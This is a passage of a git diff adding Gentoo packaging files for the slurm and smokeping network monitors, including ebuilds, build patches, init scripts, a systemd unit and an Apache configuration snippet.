+DIST slurm-0.3.3.tar.gz 122839 SHA256 b25889aa1910b1bb48e4eafdac0c810bc02e8b98ddb2ade0aed2ec64672d6834 SHA512 67ffef9d0fc6239e2a742b2020a2a1fa913a6f0d681ffb7fd00611265e60b39f83b18cbd782ce841b6b39ed0db2c40cd6410d7f5d9408bf0eb0361b95949a8a3 WHIRLPOOL a35d3cb726bf390f90c7f095c34b94b48cc0c3f59a8f8b88aa6ce31c033f74542e8ce7cefb1ecc15ea13ad5addecd9c0a321bf1e2834b582ff770fcfe9c4e1e2
diff --git a/net-analyzer/slurm/files/slurm-0.3.3-gentoo.patch b/net-analyzer/slurm/files/slurm-0.3.3-gentoo.patch
new file mode 100644
index 000000000000..bd97a10c1e81
--- /dev/null
+++ b/net-analyzer/slurm/files/slurm-0.3.3-gentoo.patch
@@ -0,0 +1,48 @@
+--- a/configure.in
++++ b/configure.in
+@@ -40,31 +40,6 @@
+ fi
+ AC_DEFINE(OSTYPE, ["${OSTYPE}"], [The operating system to build for])
+
+-for cursespath in /usr/include/ncurses.h /usr/local/include/ncurses.h /usr/local/include/ncurses/ncurses.h /opt/include/ncurses.h /opt/include/curses.h /usr/include/curses.h /usr/local/include/curses.h /dev/null
+-do
+- test -f "${cursespath}" && break
+-done
+-case ${cursespath} in
+- /usr/include/*)
+- CFLAGS="$CFLAGS -I/usr/include"
+- LDFLAGS=""
+- ;;
+- /usr/local/include/ncurses/*)
+- CFLAGS="${CFLAGS} -I/usr/local/include/ncurses"
+- LDFLAGS="-L/usr/local/lib"
+- SOLLDFLAGS="-R/usr/local/lib"
+- ;;
+- /usr/local/include/*)
+- CFLAGS="${CFLAGS} -I/usr/local/include"
+- LDFLAGS="-L/usr/local/lib"
+- SOLLDFLAGS="-R/usr/local/lib"
+- ;;
+- /opt/include/*)
+- CFLAGS="${CFLAGS} -I/opt/include"
+- LDFLAGS="-L/opt/lib"
+- SOLLDFLAGS="-R/opt/lib"
+- ;;
+-esac
+ # add Slowlaris -R and libraries to LDFLAGS
+ if test ${OSTYPE} = "solaris" ; then
+ LDFLAGS="${LDFLAGS} ${SOLLDFLAGS} -lnsl -lsocket -lkstat"
+@@ -74,7 +49,12 @@
+ ncurses_support="no"
+ curses_support="no"
+ color_support="no"
+-AC_CHECK_LIB(ncurses, use_default_colors, LDFLAGS="$LDFLAGS -lncurses"; CFLAGS="$CFLAGS -D_HAVE_NCURSES -D_HAVE_NCURSES_COLOR"; color_support="yes"; ncurses_support="yes", AC_CHECK_LIB(ncurses, use_default_colors, LDFLAGS="$LDFLAGS -lncurses"; CFLAGS="$CFLAGS -D_HAVE_NCURSES"; ncurses_support="yes"; echo "NO TRANSPARENCY SUPPORT in this ncurses lib", AC_CHECK_LIB(curses, initscr, LDFLAGS="$LDFLAGS -lcurses"; CFLAGS="$CFLAGS -D_HAVE_CURSES"; curses_support="yes"; echo "NO TRANSPARENCY SUPPORT in curses lib")))
++PKG_CHECK_MODULES(ncurses,ncurses,
++ LIBS="$LIBS $ncurses_LIBS"
++ AC_DEFINE(HAVE_NCURSES, 1, [Define if we have ncurses])
++ AC_DEFINE(HAVE_NCURSES_COLOR, 1, [We want color])
++ color_support="yes"; ncurses_support="yes"
++ ,AC_MSG_ERROR([ncurses not found]))
+
+ # disable color support on Solaris for now
+ if test ${OSTYPE} = "solaris" ; then
diff --git a/net-analyzer/slurm/files/slurm-0.3.3-overflow.patch b/net-analyzer/slurm/files/slurm-0.3.3-overflow.patch
new file mode 100644
index 000000000000..f9adc1d9bf71
--- /dev/null
+++ b/net-analyzer/slurm/files/slurm-0.3.3-overflow.patch
@@ -0,0 +1,17 @@
+--- a/src/linux.c
++++ b/src/linux.c
+@@ -68,11 +68,11 @@
+
+ /* do not parse the first two lines as they only contain static garbage */
+ fseek(proc_net_dev, 0, SEEK_SET);
+- fgets(buffer, BUFSIZ-1, proc_net_dev);
+- fgets(buffer, BUFSIZ-1, proc_net_dev);
++ fgets(buffer, BUFSIZE-1, proc_net_dev);
++ fgets(buffer, BUFSIZE-1, proc_net_dev);
+
+ interfacefound = 0;
+- while (fgets(buffer, BUFSIZ-1, proc_net_dev) != NULL)
++ while (fgets(buffer, BUFSIZE-1, proc_net_dev) != NULL)
+ {
+ /* find the device name and substitute ':' with '\0' */
+ ptr = buffer;
diff --git a/net-analyzer/slurm/files/slurm-0.3.3-theme.patch b/net-analyzer/slurm/files/slurm-0.3.3-theme.patch
new file mode 100644
index 000000000000..131554ee57f7
--- /dev/null
+++ b/net-analyzer/slurm/files/slurm-0.3.3-theme.patch
@@ -0,0 +1,16 @@
+--- a/theme.c
++++ b/theme.c
+@@ -70,13 +70,7 @@
+ if ((f = fopen(filename, "r")) == NULL)
+ {
+ bzero(&filename, BUFSIZ);
+-#ifdef __NetBSD__
+- snprintf(filename, BUFSIZ, "/usr/pkg/share/slurm/%s.theme", name);
+-#elif __Debian__
+ snprintf(filename, BUFSIZ, "/usr/share/slurm/%s.theme", name);
+-#else
+- snprintf(filename, BUFSIZ, "/usr/local/share/slurm/%s.theme", name);
+-#endif
+ if ((f = fopen(filename, "r")) == NULL)
+ error(ERR_FATAL, "cannot find theme '%s'", name);
+ }
diff --git a/net-analyzer/slurm/metadata.xml b/net-analyzer/slurm/metadata.xml
new file mode 100644
index 000000000000..03aa50bab7e3
--- /dev/null
+++ b/net-analyzer/slurm/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+</pkgmetadata>
diff --git a/net-analyzer/slurm/slurm-0.3.3-r1.ebuild b/net-analyzer/slurm/slurm-0.3.3-r1.ebuild
new file mode 100644
index 000000000000..f582f8e443c6
--- /dev/null
+++ b/net-analyzer/slurm/slurm-0.3.3-r1.ebuild
@@ -0,0 +1,40 @@
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="4"
+
+inherit autotools eutils
+
+DESCRIPTION="Realtime network interface monitor based on FreeBSD's pppstatus"
+HOMEPAGE="http://www.wormulon.net/projects/slurm"
+SRC_URI="http://www.wormulon.net/files/code/slurm/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc ~sparc x86"
+IUSE=""
+
+DEPEND="sys-libs/ncurses"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-overflow.patch \
+ "${FILESDIR}"/${P}-theme.patch
+ eautoreconf
+}
+
+src_install() {
+ # binary
+ dobin slurm
+
+ # themes to use with -t option
+ insinto /usr/share/${PN}/themes
+ doins themes/*.theme
+
+ # manual and other docs
+ doman slurm.1
+ dodoc AUTHORS ChangeLog COPYRIGHT FAQ KEYS README THANKS \
+ THEMES.txt TODO
+}
diff --git a/net-analyzer/slurm/slurm-0.3.3-r2.ebuild b/net-analyzer/slurm/slurm-0.3.3-r2.ebuild
new file mode 100644
index 000000000000..a4a79bce3510
--- /dev/null
+++ b/net-analyzer/slurm/slurm-0.3.3-r2.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit autotools eutils
+
+DESCRIPTION="Realtime network interface monitor based on FreeBSD's pppstatus"
+HOMEPAGE="http://www.wormulon.net/projects/slurm"
+SRC_URI="http://www.wormulon.net/files/code/slurm/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 ~ppc ~sparc x86"
+
+RDEPEND="sys-libs/ncurses"
+DEPEND="
+ ${RDEPEND}
+ virtual/pkgconfig
+"
+
+src_prepare() {
+ epatch \
+ "${FILESDIR}"/${P}-gentoo.patch \
+ "${FILESDIR}"/${P}-overflow.patch \
+ "${FILESDIR}"/${P}-theme.patch
+ eautoreconf
+}
+
+src_install() {
+ dobin slurm
+
+ insinto /usr/share/${PN}
+ doins themes/*.theme
+
+ doman slurm.1
+ dodoc AUTHORS ChangeLog FAQ KEYS README THANKS THEMES.txt TODO
+}
diff --git a/net-analyzer/smokeping/Manifest b/net-analyzer/smokeping/Manifest
new file mode 100644
index 000000000000..41ca85d91642
--- /dev/null
+++ b/net-analyzer/smokeping/Manifest
@@ -0,0 +1,3 @@
+DIST smokeping-2.6.10.tar.gz 415383 SHA256 0121672951f47bd45575898c3e4d767e22cc692dd272d723b422515fd3cc641c SHA512 e91ac80ceafccb945ec48cc80020b8cbf2afe29b5f422dc5aaf7c52387eafc498180c293cf82dccc4fdec88ec56f80fb1bd08ebcb2ae9aea563475a069b91f13 WHIRLPOOL dc2b75b694ffb93d777f4a97e6f3f26c898741eb67f19d9b6ebb3dcb1d3688422cb4756c2f969e858ad89e98d4278c2995abc39927b2615a249efd1f02b733aa
+DIST smokeping-2.6.11.tar.gz 417338 SHA256 f2b3c386e95a74af2b1e7aec6410d0a58852339f00e9963f3c770cfd85ba30dd SHA512 928722832d6e01ffbb7b74542678f7b9d5fc22819c0feae164ce58b8d8a5595800f617c8a672e07cae4b2c4ccbfa4883a11438ba2a172fc2887abc2933388422 WHIRLPOOL e7c0dc3fd5fe1e66b9a8f70584bb2973a807990ad2e7cec50951294e794f67e60e88b39ec52adfe0e92e80e9d11e899fcb5b0bef7fc67d5e271f10c5ba44dc56
+DIST smokeping-2.6.9.tar.gz 427185 SHA256 cd551d4384d8b19879d128ea0566bd680c19bb4ad8664a3c5a304604746f8863 SHA512 ab3cec15fd9f90510f902da7ce5bac5915558cac198cc88f0ce193a53a0158c9055e28c8c6671cc6653ac42ab51346e1eb19e537f1ab5c234fd498c6b777499d WHIRLPOOL e3a47ed5222798f69f5b957cea5a0404fc1f58675678bd82f93d39085f5a029de2b71974ad245e4de0454d7f689a199f2a2134abbc1ac6ed8e042835c14d3f57
diff --git a/net-analyzer/smokeping/files/79_smokeping.conf b/net-analyzer/smokeping/files/79_smokeping.conf
new file mode 100644
index 000000000000..1e9361ba501a
--- /dev/null
+++ b/net-analyzer/smokeping/files/79_smokeping.conf
@@ -0,0 +1,15 @@
+###
+### Setup the smokeping image cache and perl cgi script
+###
+<IfModule mod_alias.c>
+ Alias "/.simg/" "/var/lib/smokeping/.simg/"
+ <IfModule mod_perl.c>
+ <Directory "/var/lib/smokeping/.simg/">
+ Options -Indexes MultiViews
+ AllowOverride None
+ Order deny,allow
+ Deny from all
+ Allow from 127.0.0.1
+ </Directory>
+ </IfModule>
+</IfModule>
diff --git a/net-analyzer/smokeping/files/smokeping-2.6.9-pod.patch b/net-analyzer/smokeping/files/smokeping-2.6.9-pod.patch
new file mode 100644
index 000000000000..81a1e053b4f8
--- /dev/null
+++ b/net-analyzer/smokeping/files/smokeping-2.6.9-pod.patch
@@ -0,0 +1,11 @@
+--- a/lib/Smokeping.pm
++++ b/lib/Smokeping.pm
+@@ -2631,7 +2631,7 @@
+ The base directory where SmokePing keeps the files related to the DYNAMIC function.
+ This directory must be writeable by the WWW server. It is also used for temporary
+ storage of slave polling results by the master in
+-L<the master/slave mode|smokeping_master_slave>.
++L<the masterE<sol>slave mode|smokeping_master_slave>.
+
+ If this variable is not specified, the value of C<datadir> will be used instead.
+ DOC
diff --git a/net-analyzer/smokeping/files/smokeping.conf b/net-analyzer/smokeping/files/smokeping.conf
new file mode 100644
index 000000000000..729726316fbd
--- /dev/null
+++ b/net-analyzer/smokeping/files/smokeping.conf
@@ -0,0 +1 @@
+d /run/smokeping 0755 root root
diff --git a/net-analyzer/smokeping/files/smokeping.init.3 b/net-analyzer/smokeping/files/smokeping.init.3
new file mode 100755
index 000000000000..4a477ac4947f
--- /dev/null
+++ b/net-analyzer/smokeping/files/smokeping.init.3
@@ -0,0 +1,77 @@
+#!/sbin/runscript
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+extra_commands="${opts} dump reload restore"
+
+depend() {
+ need net
+ use dns
+}
+
+checkconfig() {
+ if [ ! -f "/etc/smokeping/config" ] ; then
+ eerror "You need /etc/smokeping/config to run smokeping!"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+
+ if [ ! -d /run/smokeping/ ]; then
+ mkdir /run/smokeping/
+ fi
+ chown smokeping:smokeping /run/smokeping/
+
+ ebegin "Starting smokeping"
+ LC_ALL=C \
+ start-stop-daemon --start --name smokeping \
+ --pidfile /run/smokeping/smokeping.pid \
+ --exec /usr/bin/smokeping \
+ --user smokeping:smokeping
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping smokeping"
+ start-stop-daemon --stop \
+ --pidfile /run/smokeping/smokeping.pid
+ eend $?
+}
+
+reload() {
+ ebegin "Reloading smokeping"
+ /usr/bin/smokeping --reload 1>/dev/null 2>&1
+ eend $?
+}
+
+dump() {
+ ebegin "Dumping smokeping rrd files to XML for backup or upgrade use"
+ if service_started "${myservice}" ; then
+ eerror "You need to stop smokeping before dumping files!"
+ return 1
+ fi
+ for f in `find /var/lib/smokeping -name '*.rrd' -print` ; do
+ f_xml=`dirname $f`/`basename $f .rrd`.xml
+ rrdtool dump "$f" > "${f_xml}"
+ chown root:0 "${f_xml}"
+ done
+ eend $?
+}
+
+restore() {
+ ebegin "Restoring smokeping rrd files from XML dump files"
+ if service_started "${myservice}" ; then
+ eerror "You need to stop smokeping before restoring files!"
+ return 1
+ fi
+ for f in `find /var/lib/smokeping -name '*.xml' -print` ; do
+ f_rrd=`dirname $f`/`basename $f .xml`.rrd
+ mv -f "${f_rrd}" "${f_rrd}.bak"
+ chown root:0 "${f_rrd}.bak"
+ rrdtool restore "$f" "${f_rrd}"
+ chown smokeping:smokeping "${f_rrd}"
+ done
+ eend $?
+}
diff --git a/net-analyzer/smokeping/files/smokeping.init.4 b/net-analyzer/smokeping/files/smokeping.init.4
new file mode 100644
index 000000000000..255e9960eee1
--- /dev/null
+++ b/net-analyzer/smokeping/files/smokeping.init.4
@@ -0,0 +1,75 @@
+#!/sbin/runscript
+# Copyright 1999-2014 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+
+extra_commands="${opts} dump reload restore"
+
+depend() {
+ need net
+ use dns
+}
+
+checkconfig() {
+ if [ ! -f "/etc/smokeping/config" ] ; then
+ eerror "You need /etc/smokeping/config to run smokeping!"
+ return 1
+ fi
+}
+
+start() {
+ checkconfig || return 1
+
+ checkpath -d -m 0755 -o smokeping:smokeping /run/smokeping
+ checkpath -d -m 0755 -o smokeping:smokeping /var/cache/smokeping
+
+ ebegin "Starting smokeping"
+ LC_ALL=C \
+ start-stop-daemon --start --name smokeping \
+ --pidfile /run/smokeping/smokeping.pid \
+ --exec /usr/bin/smokeping \
+ --user smokeping:smokeping
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping smokeping"
+ start-stop-daemon --stop \
+ --pidfile /run/smokeping/smokeping.pid
+ eend $?
+}
+
+reload() {
+ ebegin "Reloading smokeping"
+ /usr/bin/smokeping --reload 1>/dev/null 2>&1
+ eend $?
+}
+
+dump() {
+ ebegin "Dumping smokeping rrd files to XML for backup or upgrade use"
+ if service_started "${myservice}" ; then
+ eerror "You need to stop smokeping before dumping files!"
+ return 1
+ fi
+ for f in `find /var/lib/smokeping -name '*.rrd' -print` ; do
+ f_xml=`dirname $f`/`basename $f .rrd`.xml
+ rrdtool dump "$f" > "${f_xml}"
+ chown root:0 "${f_xml}"
+ done
+ eend $?
+}
+
+restore() {
+ ebegin "Restoring smokeping rrd files from XML dump files"
+ if service_started "${myservice}" ; then
+ eerror "You need to stop smokeping before restoring files!"
+ return 1
+ fi
+ for f in `find /var/lib/smokeping -name '*.xml' -print` ; do
+ f_rrd=`dirname $f`/`basename $f .xml`.rrd
+ mv -f "${f_rrd}" "${f_rrd}.bak"
+ chown root:0 "${f_rrd}.bak"
+ rrdtool restore "$f" "${f_rrd}"
+ chown smokeping:smokeping "${f_rrd}"
+ done
+ eend $?
+}
diff --git a/net-analyzer/smokeping/files/smokeping.service b/net-analyzer/smokeping/files/smokeping.service
new file mode 100644
index 000000000000..2130aca23627
--- /dev/null
+++ b/net-analyzer/smokeping/files/smokeping.service
@@ -0,0 +1,10 @@
+[Unit]
+Description=Latency Logging and Graphing System
+After=network.target
+
+[Service]
+ExecStart=/usr/bin/smokeping --nodaemon
+ExecReload=/bin/kill -HUP $MAINPID
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/smokeping/metadata.xml b/net-analyzer/smokeping/metadata.xml
new file mode 100644
index 000000000000..71b3ad2d71e7
--- /dev/null
+++ b/net-analyzer/smokeping/metadata.xml
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>netmon</herd>
+<use>
+<flag name='dig'>Install <pkg>net-dns/bind-tools</pkg> for dig functionality</flag>
+<flag name='echoping'>Install <pkg>net-analyzer/echoping</pkg> for echoping functionality</flag>
+<flag name='telnet'>Install <pkg>dev-perl/Net-Telnet</pkg> for telnet functionality</flag>
+<flag name='ssh'>Install ssh functionality</flag>
+</use>
+</pkgmetadata>
diff --git a/net-analyzer/smokeping/smokeping-2.6.10.ebuild b/net-analyzer/smokeping/smokeping-2.6.10.ebuild
new file mode 100644
index 000000000000..eb887b5c84d7
--- /dev/null
+++ b/net-analyzer/smokeping/smokeping-2.6.10.ebuild
@@ -0,0 +1,140 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user systemd
+
+DESCRIPTION="A powerful latency measurement tool"
+HOMEPAGE="http://oss.oetiker.ch/smokeping/"
+SRC_URI="http://oss.oetiker.ch/smokeping/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+# dropping hppa and sparc because of way too may dependencies not having
+# keywords in those architectures.
+KEYWORDS="~amd64 ~hppa ~x86"
+
+# removing fcgi useflag as the configure script can't avoid it without patching
+IUSE="apache2 curl dig echoping ipv6 ldap radius ssh telnet"
+
+DEPEND="
+ !apache2? ( virtual/httpd-cgi )
+ apache2? (
+ >=www-apache/mod_perl-2.0.1
+ www-apache/mod_fcgid
+ )
+ curl? ( >=net-misc/curl-7.21.4 )
+ dig? ( net-dns/bind-tools )
+ echoping? ( >=net-analyzer/echoping-6.0.2 )
+ ipv6? ( >=dev-perl/Socket6-0.20 )
+ ldap? ( dev-perl/perl-ldap )
+ radius? ( dev-perl/RadiusPerl )
+ ssh? ( dev-perl/Net-OpenSSH )
+ telnet? ( dev-perl/Net-Telnet )
+ || ( dev-perl/CGI-Fast <dev-perl/CGI-4 )
+ >=dev-lang/perl-5.8.8-r8
+ >=dev-perl/SNMP_Session-1.13
+ >=net-analyzer/fping-2.4_beta2-r2[suid]
+ >=net-analyzer/rrdtool-1.2[graph,perl]
+ dev-perl/CGI-Session
+ dev-perl/Config-Grammar
+ dev-perl/Digest-HMAC
+ dev-perl/FCGI
+ dev-perl/IO-Socket-SSL
+ dev-perl/Net-DNS
+ dev-perl/libwww-perl
+ virtual/perl-libnet
+"
+
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ enewgroup smokeping
+ enewuser smokeping -1 -1 /var/lib/smokeping smokeping
+}
+
+src_prepare() {
+ rm -r lib/{BER.pm,SNMP_Session.pm,SNMP_util.pm} # dev-perl/SNMP_Session
+}
+
+src_configure() {
+ econf \
+ --sysconfdir=/etc/smokeping \
+ --with-htdocs-dir=/var/www/localhost/smokeping
+}
+
+src_compile() {
+ LC_ALL=C emake
+}
+
+src_install() {
+ default
+
+ newinitd "${FILESDIR}"/${PN}.init.4 ${PN}
+ systemd_dotmpfilesd "${FILESDIR}"/"${PN}".conf
+ systemd_dounit "${FILESDIR}"/"${PN}".service
+
+ mv "${D}/etc/smokeping/basepage.html.dist" "${D}/etc/smokeping/basepage.html"
+ mv "${D}/etc/smokeping/config.dist" "${D}/etc/smokeping/config"
+ mv "${D}/etc/smokeping/smokemail.dist" "${D}/etc/smokeping/smokemail"
+ mv "${D}/etc/smokeping/smokeping_secrets.dist" "${D}/etc/smokeping/smokeping_secrets"
+ mv "${D}/etc/smokeping/tmail.dist" "${D}/etc/smokeping/tmail"
+
+ sed -i \
+ -e '/^imgcache/{s:\(^imgcache[ \t]*=\).*:\1 /var/lib/smokeping/.simg:}' \
+ -e '/^imgurl/{s:\(^imgurl[ \t]*=\).*:\1 ../.simg:}' \
+ -e '/^datadir/{s:\(^datadir[ \t]*=\).*:\1 /var/lib/smokeping:}' \
+ -e '/^piddir/{s:\(^piddir[ \t]*=\).*:\1 /run/smokeping:}' \
+ -e '/^cgiurl/{s#\(^cgiurl[ \t]*=\).*#\1 http://some.place.xyz/perl/smokeping.pl#}' \
+ -e '/^smokemail/{s:\(^smokemail[ \t]*=\).*:\1 /etc/smokeping/smokemail:}' \
+ -e '/^tmail/{s:\(^tmail[ \t]*=\).*:\1 /etc/smokeping/tmail:}' \
+ -e '/^secrets/{s:\(^secrets[ \t]*=\).*:\1 /etc/smokeping/smokeping_secrets:}' \
+ -e '/^template/{s:\(^template[ \t]*=\).*:\1 /etc/smokeping/basepage.html:}' \
+ "${D}/etc/${PN}/config" || die
+
+ sed -i \
+ -e '/^<script/{s:cropper/:/cropper/:}' \
+ "${D}/etc/${PN}/basepage.html" || die
+
+ sed -i \
+ -e 's/$FindBin::Bin\/..\/etc\/config/\/etc\/smokeping\/config/g' \
+ "${D}/usr/bin/smokeping" "${D}/usr/bin/smokeping_cgi" || die
+
+ sed -i \
+ -e 's:etc/config.dist:/etc/smokeping/config:' \
+ "${D}/usr/bin/tSmoke" || die
+
+ sed -i \
+ -e 's:/usr/etc/config:/etc/smokeping/config:' \
+ "${D}/var/www/localhost/smokeping/smokeping.fcgi.dist" || die
+
+ dodir /var/www/localhost/cgi-bin
+ mv "${D}/var/www/localhost/smokeping/smokeping.fcgi.dist" \
+ "${D}/var/www/localhost/cgi-bin/smokeping.fcgi"
+
+ fperms 700 /etc/${PN}/smokeping_secrets
+
+ if use apache2 ; then
+ insinto /etc/apache2/modules.d
+ doins "${FILESDIR}/79_${PN}.conf"
+ fi
+
+ # Create the files in /var for rrd file storage
+ keepdir /var/lib/${PN}/.simg
+ fowners smokeping:smokeping /var/lib/${PN}
+
+ if use apache2 ; then
+ fowners apache:apache /var/lib/${PN}/.simg
+ fowners -R apache:apache /var/www
+ else
+ fowners smokeping:smokeping /var/lib/${PN}/.simg
+ fi
+
+ fperms 775 /var/lib/${PN} /var/lib/${PN}/.simg
+}
+
+pkg_postinst() {
+ chown smokeping:smokeping "${ROOT}/var/lib/${PN}"
+ chmod 755 "${ROOT}/var/lib/${PN}"
+}
diff --git a/net-analyzer/smokeping/smokeping-2.6.11.ebuild b/net-analyzer/smokeping/smokeping-2.6.11.ebuild
new file mode 100644
index 000000000000..945ad246e8ed
--- /dev/null
+++ b/net-analyzer/smokeping/smokeping-2.6.11.ebuild
@@ -0,0 +1,142 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user systemd
+
+DESCRIPTION="A powerful latency measurement tool"
+HOMEPAGE="http://oss.oetiker.ch/smokeping/"
+SRC_URI="http://oss.oetiker.ch/smokeping/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+# dropping hppa and sparc because of way too may dependencies not having
+# keywords in those architectures.
+KEYWORDS="~amd64 ~hppa ~x86"
+
+# removing fcgi useflag as the configure script can't avoid it without patching
+IUSE="apache2 curl dig echoping ipv6 radius"
+
+DEPEND="
+ >=dev-lang/perl-5.8.8-r8
+ >=dev-perl/SNMP_Session-1.13
+ >=net-analyzer/fping-2.4_beta2-r2[suid]
+ >=net-analyzer/rrdtool-1.2[graph,perl]
+ dev-perl/CGI-Session
+ dev-perl/Config-Grammar
+ dev-perl/Digest-HMAC
+ dev-perl/FCGI
+ dev-perl/IO-Socket-SSL
+ dev-perl/IO-Tty
+ dev-perl/Net-DNS
+ dev-perl/Net-OpenSSH
+ dev-perl/Net-SNMP
+ dev-perl/Net-Telnet
+ dev-perl/libwww-perl
+ dev-perl/perl-ldap
+ virtual/perl-libnet
+ || ( dev-perl/CGI-Fast <dev-perl/CGI-4 )
+ !apache2? ( virtual/httpd-cgi )
+ apache2? (
+ >=www-apache/mod_perl-2.0.1
+ www-apache/mod_fcgid
+ )
+ curl? ( >=net-misc/curl-7.21.4 )
+ dig? ( net-dns/bind-tools )
+ echoping? ( >=net-analyzer/echoping-6.0.2 )
+ ipv6? ( >=dev-perl/Socket6-0.20 )
+ radius? ( dev-perl/RadiusPerl )
+"
+
+RDEPEND="${DEPEND}"
+
+pkg_setup() {
+ enewgroup smokeping
+ enewuser smokeping -1 -1 /var/lib/smokeping smokeping
+}
+
+src_prepare() {
+ rm -r lib/{BER.pm,SNMP_Session.pm,SNMP_util.pm} # dev-perl/SNMP_Session
+}
+
+src_configure() {
+ econf \
+ --sysconfdir=/etc/smokeping \
+ --with-htdocs-dir=/var/www/localhost/smokeping
+}
+
+src_compile() {
+ LC_ALL=C emake
+}
+
+src_install() {
+ default
+
+ newinitd "${FILESDIR}"/${PN}.init.4 ${PN}
+ systemd_dotmpfilesd "${FILESDIR}"/"${PN}".conf
+ systemd_dounit "${FILESDIR}"/"${PN}".service
+
+ mv "${D}/etc/smokeping/basepage.html.dist" "${D}/etc/smokeping/basepage.html"
+ mv "${D}/etc/smokeping/config.dist" "${D}/etc/smokeping/config"
+ mv "${D}/etc/smokeping/smokemail.dist" "${D}/etc/smokeping/smokemail"
+ mv "${D}/etc/smokeping/smokeping_secrets.dist" "${D}/etc/smokeping/smokeping_secrets"
+ mv "${D}/etc/smokeping/tmail.dist" "${D}/etc/smokeping/tmail"
+
+ sed -i \
+ -e '/^imgcache/{s:\(^imgcache[ \t]*=\).*:\1 /var/lib/smokeping/.simg:}' \
+ -e '/^imgurl/{s:\(^imgurl[ \t]*=\).*:\1 ../.simg:}' \
+ -e '/^datadir/{s:\(^datadir[ \t]*=\).*:\1 /var/lib/smokeping:}' \
+ -e '/^piddir/{s:\(^piddir[ \t]*=\).*:\1 /run/smokeping:}' \
+ -e '/^cgiurl/{s#\(^cgiurl[ \t]*=\).*#\1 http://some.place.xyz/perl/smokeping.pl#}' \
+ -e '/^smokemail/{s:\(^smokemail[ \t]*=\).*:\1 /etc/smokeping/smokemail:}' \
+ -e '/^tmail/{s:\(^tmail[ \t]*=\).*:\1 /etc/smokeping/tmail:}' \
+ -e '/^secrets/{s:\(^secrets[ \t]*=\).*:\1 /etc/smokeping/smokeping_secrets:}' \
+ -e '/^template/{s:\(^template[ \t]*=\).*:\1 /etc/smokeping/basepage.html:}' \
+ "${D}/etc/${PN}/config" || die
+
+ sed -i \
+ -e '/^<script/{s:cropper/:/cropper/:}' \
+ "${D}/etc/${PN}/basepage.html" || die
+
+ sed -i \
+ -e 's/$FindBin::Bin\/..\/etc\/config/\/etc\/smokeping\/config/g' \
+ "${D}/usr/bin/smokeping" "${D}/usr/bin/smokeping_cgi" || die
+
+ sed -i \
+ -e 's:etc/config.dist:/etc/smokeping/config:' \
+ "${D}/usr/bin/tSmoke" || die
+
+ sed -i \
+ -e 's:/usr/etc/config:/etc/smokeping/config:' \
+ "${D}/var/www/localhost/smokeping/smokeping.fcgi.dist" || die
+
+ dodir /var/www/localhost/cgi-bin
+ mv "${D}/var/www/localhost/smokeping/smokeping.fcgi.dist" \
+ "${D}/var/www/localhost/cgi-bin/smokeping.fcgi"
+
+ fperms 700 /etc/${PN}/smokeping_secrets
+
+ if use apache2 ; then
+ insinto /etc/apache2/modules.d
+ doins "${FILESDIR}/79_${PN}.conf"
+ fi
+
+ # Create the files in /var for rrd file storage
+ keepdir /var/lib/${PN}/.simg
+ fowners smokeping:smokeping /var/lib/${PN}
+
+ if use apache2 ; then
+ fowners apache:apache /var/lib/${PN}/.simg
+ fowners -R apache:apache /var/www
+ else
+ fowners smokeping:smokeping /var/lib/${PN}/.simg
+ fi
+
+ fperms 775 /var/lib/${PN} /var/lib/${PN}/.simg
+}
+
+pkg_postinst() {
+ chown smokeping:smokeping "${ROOT}/var/lib/${PN}"
+ chmod 755 "${ROOT}/var/lib/${PN}"
+}
diff --git a/net-analyzer/smokeping/smokeping-2.6.9.ebuild b/net-analyzer/smokeping/smokeping-2.6.9.ebuild
new file mode 100644
index 000000000000..2bb250bdd98a
--- /dev/null
+++ b/net-analyzer/smokeping/smokeping-2.6.9.ebuild
@@ -0,0 +1,145 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+inherit eutils user systemd
+
+DESCRIPTION="A powerful latency measurement tool"
+HOMEPAGE="http://oss.oetiker.ch/smokeping/"
+SRC_URI="http://oss.oetiker.ch/smokeping/pub/${P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+# dropping hppa and sparc because of way too may dependencies not having
+# keywords in those architectures.
+KEYWORDS="amd64 ~hppa x86"
+
+# removing fcgi useflag as the configure script can't avoid it without patching
+IUSE="apache2 curl dig echoping ipv6 ldap radius ssh telnet"
+
+DEPEND="
+ !apache2? ( virtual/httpd-cgi )
+ apache2? (
+ >=www-apache/mod_perl-2.0.1
+ www-apache/mod_fcgid
+ )
+ curl? ( >=net-misc/curl-7.21.4 )
+ dig? ( net-dns/bind-tools )
+ echoping? ( >=net-analyzer/echoping-6.0.2 )
+ ipv6? ( >=dev-perl/Socket6-0.20 )
